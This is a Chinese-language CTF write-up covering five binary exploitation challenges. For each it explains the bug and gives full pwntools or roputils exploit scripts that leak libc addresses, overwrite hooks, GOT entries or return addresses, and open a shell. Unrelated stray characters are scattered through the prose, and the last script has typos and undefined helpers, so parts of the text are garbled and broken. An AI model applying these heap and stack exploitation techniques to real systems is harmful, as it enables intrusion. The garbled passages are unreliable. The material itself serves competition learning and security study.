0x00 寫在前面
最后一次參加國賽了額肾档,無論隊(duì)伍能否走到?jīng)Q賽怒见,我都無緣參賽了,希望隊(duì)伍能走的更遠(yuǎn)吧闺阱。這次國賽比起前兩年的題目要簡(jiǎn)單的很多舵变,大部分題目都很基礎(chǔ)棋傍,漏洞點(diǎn)很明顯,利用思路也異常清晰亿絮。利用畢設(shè)的閑暇時(shí)間整理下writeup
0x01 your_pwn
程序功能
一直輸入name,以及數(shù)組中name對(duì)應(yīng)的index。-
漏洞位置
在功能函數(shù)中,再輸入index時(shí)沒有檢測(cè)其合法性五慈,導(dǎo)致在之后會(huì)有數(shù)組越界訪問的漏洞。功能函數(shù) -
利用思路
雖然本題保護(hù)機(jī)制全開毙芜。checksec
第一步绑雄,通過任意地址讀绳慎,找到存在棧上的__libc_start_main + 240偏移后leak出libc基址杏愤。
第二步已脓,找到棧上存的返回地址的偏移度液,并將其寫為one_gadget堕担。
第三步,讓程序正常返回佑惠,劫持程序流到one_gadget來get shell膜楷。 my-exp
from pwn import *
local = 1
if local:
p = process('./pwn')
else:
p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' , 57856)#nc 1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com 57856
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def debug():
print pidof(p)
raw_input()
#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):
p.recvuntil('index\n')
p.sendline(str(i))
p.recvuntil('(hex) ')
aa = p.recvuntil('\n')[:-1]
if(len(aa) < 2):
libc_leak += '0' + aa
elif(len(aa) == 8):
libc_leak += aa[-2:]
else:
libc_leak += aa
p.recvuntil('value\n')
p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address
#step2 overwrite EIP to one_gadget
for i in range(6):
p.recvuntil('index\n')
p.sendline(str(i + 344))
p.recvuntil('value\n')
p.sendline(str(ord(p64(one_gadget)[i])))
#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()
0x02 daily
程序功能
一個(gè)記錄日?qǐng)?bào)的日記本題目,可指定日?qǐng)?bào)的長(zhǎng)度和內(nèi)容贞奋,具有正常的增刪查改功能赌厅。-
漏洞位置
在remove功能中,由于沒有對(duì)輸入的index進(jìn)行檢查轿塔,會(huì)導(dǎo)致數(shù)組越界特愿,造成任意地址free仲墨。remove -
利用思路
程序開了除PIE外所有的保護(hù)機(jī)制。checksec
第一步亚兄,正常利用unsort bin進(jìn)行堆基址和libc基址的leak混稽。
第二步,利用任意地址free审胚,直接將布置好的堆塊free到fastbin中匈勋。
第三步洽洁,利用bss段留存的該堆塊指針,進(jìn)行fastbin attack昭雌,將bss段當(dāng)作堆塊申請(qǐng)。
第四步妓局,通過申請(qǐng)到的bss段堆塊,將其余堆塊指針覆蓋為free_hook地址炬搭,并通過edit被覆蓋的堆塊索引,將free_hook寫為system地址飘言。
第五步谆吴,通過free之前布置好的data為'/bin/sh\x00'的對(duì)應(yīng)Header來get shell。 my-exp
from pwn import *
local = 1
if local:
p = process('./pwn')
else:
p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com' , 58512)#nc 85c3e0fcae5e972af313488de60e8a5a.kr-lab.com 58512
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def show():
p.recvuntil('choice:')
p.sendline('1')
raw = p.recvuntil('===')[:-4]
return raw
def add(length , content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(length))
p.recvuntil('daily\n')
p.sendline(content)
def change(index , content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('daily\n')
p.sendline(content)
def remove(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
#step1 leak libc&heap base
for i in range(5):
add(0x80 , '\x00' * 0x5f)
debug()
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)
#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)
#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00') #heap
add(0x30 , p64(free_hook)) #bss
change(1 , p64(system_addr))
#Get Ghell & Have Fun
remove(0)
p.interactive()
0x03 baby_pwn
程序功能
沒啥功能昔馋,就讓輸入個(gè)東西。-
漏洞位置
在vuln函數(shù)中存在由read導(dǎo)致的棧溢出漏洞洋侨。
vuln -
利用思路
程序?yàn)?strong>32位程序审丘,并且只開了NX保護(hù)機(jī)制。checksec my-exp
from roputils import *
fpath = './pwn'
offset = 44
rop = ROP(fpath)
addr_bss = rop.section('.bss')
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.write(buf)
p.interact(0)
0x04 Double
- 程序功能
一個(gè)管理輸入data的note式程序胯努,含有增刪查改功能蒲讯,并且每次data由一個(gè)大小為0x18的結(jié)構(gòu)體管理,該結(jié)構(gòu)體數(shù)據(jù)結(jié)構(gòu)如下:
typedef struct Header{
__int32 index;
__int32 length;
char* data;
Header* next_Header;
}Header;
-
漏洞位置
在增加數(shù)據(jù)時(shí),如果前后兩次輸入的data完全一樣時(shí),會(huì)導(dǎo)致兩個(gè)Header的content_ptr指向同一個(gè)地址踩麦,很容易造成UAF漏洞。add_data -
利用思路
對(duì)于一道堆題來說幾乎沒有開什么保護(hù)機(jī)制。checksec
第一步,準(zhǔn)備通過兩個(gè)Header指向一個(gè)unsort bin大小的data來leak libc基址。
第二步歹叮,構(gòu)造出一個(gè)0x18大小的堆塊既是Header又是data的布局。
第三步窄做,利用Header2來修改Header3中的data字段掏颊,再通過編輯Header3的data達(dá)到任意地址寫的目的,這里選擇將free_got修改為system()。
第四步,通過free之前布置好的data為'/bin/sh\x00'的對(duì)應(yīng)Header來get shell葡公。
堆布局大概如下圖所示溯乒。
堆布局 my-exp
from pwn import *
local = 1
if local:
p = process('./pwn')
else:
p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./pwn')
def add(data):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('data:\n')
p.sendline(data)
def show(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
return p.recvuntil('\n----')[:-5]
def edit(index , data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
sleep(0.1)
p.sendline(data)
def delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('index: ')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
#step1 leak libc_base
add('a' * 0x17) #0
add('a' * 0x17) #1
delete(0)
add('a' * 0x7f) #2
add('a' * 0x7f) #3
add('/bin/sh\x00') #4
delete(2)
libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78
system_addr = libc.symbols['system']
free_got = elf.got['free']
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
success('free_got => ' + hex(free_got))
#step2 use UAF to change free_got to system_addr
fake_header = p32(0x3) + p32(0x7f)
payload = fake_header + p64(free_got)
edit(1 , payload)
edit(3 , p64(system_addr))
#Get Shell & Have Fun
delete(4)
p.interactive()
0x05 bms
聽說遠(yuǎn)程是Tcache
......最近惡補(bǔ)了Tcache機(jī)制以及FILE結(jié)構(gòu)體后來看這道題就很容易了。
- 程序功能
進(jìn)入輸入管理員的密碼后肄方,是一個(gè)菜單類型的題目隅要,管理了一個(gè)book的結(jié)構(gòu)體,該結(jié)構(gòu)體數(shù)據(jù)結(jié)構(gòu)如下:
typedef struct Book{
char[0x10] BookName;
char* description;
int length;
}
該結(jié)構(gòu)體的大小為0x20字節(jié),有add和delete兩個(gè)操作藻雌,程序有限制最多add10本書做个,description的大小最大不超過0xFF字節(jié)糯景。
-
漏洞位置
由于這道題當(dāng)時(shí)沒有給libc版本,默認(rèn)為2.23來看好像沒有什么漏洞怠惶,后來得知遠(yuǎn)程是2.26的版本,那就很有問題了:在進(jìn)行delete操作時(shí),并沒有檢查其description指向的堆塊是否已經(jīng)處于free的狀態(tài)。
delete
在2.23版本時(shí)會(huì)直接報(bào)double free的錯(cuò)誤奄侠,無法利用垄潮;而在2.26版本中則可利用tcache dup的方法牡整。 -
利用思路
checksec
這道題目除了PIE外其余保護(hù)機(jī)制全開沐扳,且本題目沒有任何輸入功能,沒有很明顯的leak地址的地方昼弟,因此考慮用FILE結(jié)構(gòu)體的任意寫來達(dá)到leak地址的目的旬盯,利用思路大概如下:
首先胖翰,肯定是要通過逆向的到管理員密碼……
第二步,利用delete功能中未檢查是否free的漏洞構(gòu)造tcache dup切厘;
第三步萨咳,修改下一個(gè)tcache的地址為stdout,再add將其作為description指針申請(qǐng)回去疫稿;
第四步培他,就是在description中偽造fake_FILE,順理成章地leak出libc基址而克。
最后靶壮,就是故技重施tcache dup,修改free_hook為system员萍,然后free掉/bin/sh\x00的description
- my-exp
from pwn import *
local = 1
if local:
p = process('./pwn')
else:
print 'time is up'
libc = ELF('libc-2.27.so')
elf = ELF('./pwn')
def check():
p.recvuntil('username:')
p.sendline('admin')
p.recvuntil('password:')
p.sendline('frame')
def add(name , length , description):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('book name:')
p.sendline(name)
p.recvuntil('size:')
p.send(str(length))
p.recvuntil('description:')
sd(description)
def free(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
check()
#step1 use FILE structure to leak libc
add('0' , 0x50 , '0')
#tcache dup
free(0)
free(0)
stdout_addr = got('stdout')
add('1' , 0x50 , p64(stdout_addr))
add('2' , 0x50 , '2')
add('3' , 0x50 , '\x60') #stdout
#fake _IO_2_1_stdout
payload = p64(0xfbad1800) + p64(0) + p64(0) + p64(0) + p64(stdout_addr) + p64(stdout_addr + 8) + p64(stdout_addr + 8)
# _flags read_ptr read_end read_base write_base write_ptr write_end
add('4' , 0x50 , payload) #_IO_2_1_stdout
libc.address = u64(ru('done!')[:-5].ljust(8 , '\x00')) - 0x3ec760
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
suucess('system_addr => ' + hex(system))
#step2 overwrite __free_hook with system
add('5' , 0x40 , '5')
#tcache dup
free(5)
free(5)
add('6' , 0x40 , p64(free_hook))
add('7' , 0x40 , '/bin/sh\x00')
add('8' , 0x40 , p64(system_addr))
#Get Shell & Have Fun
free(7)
#debug()
p.interactive()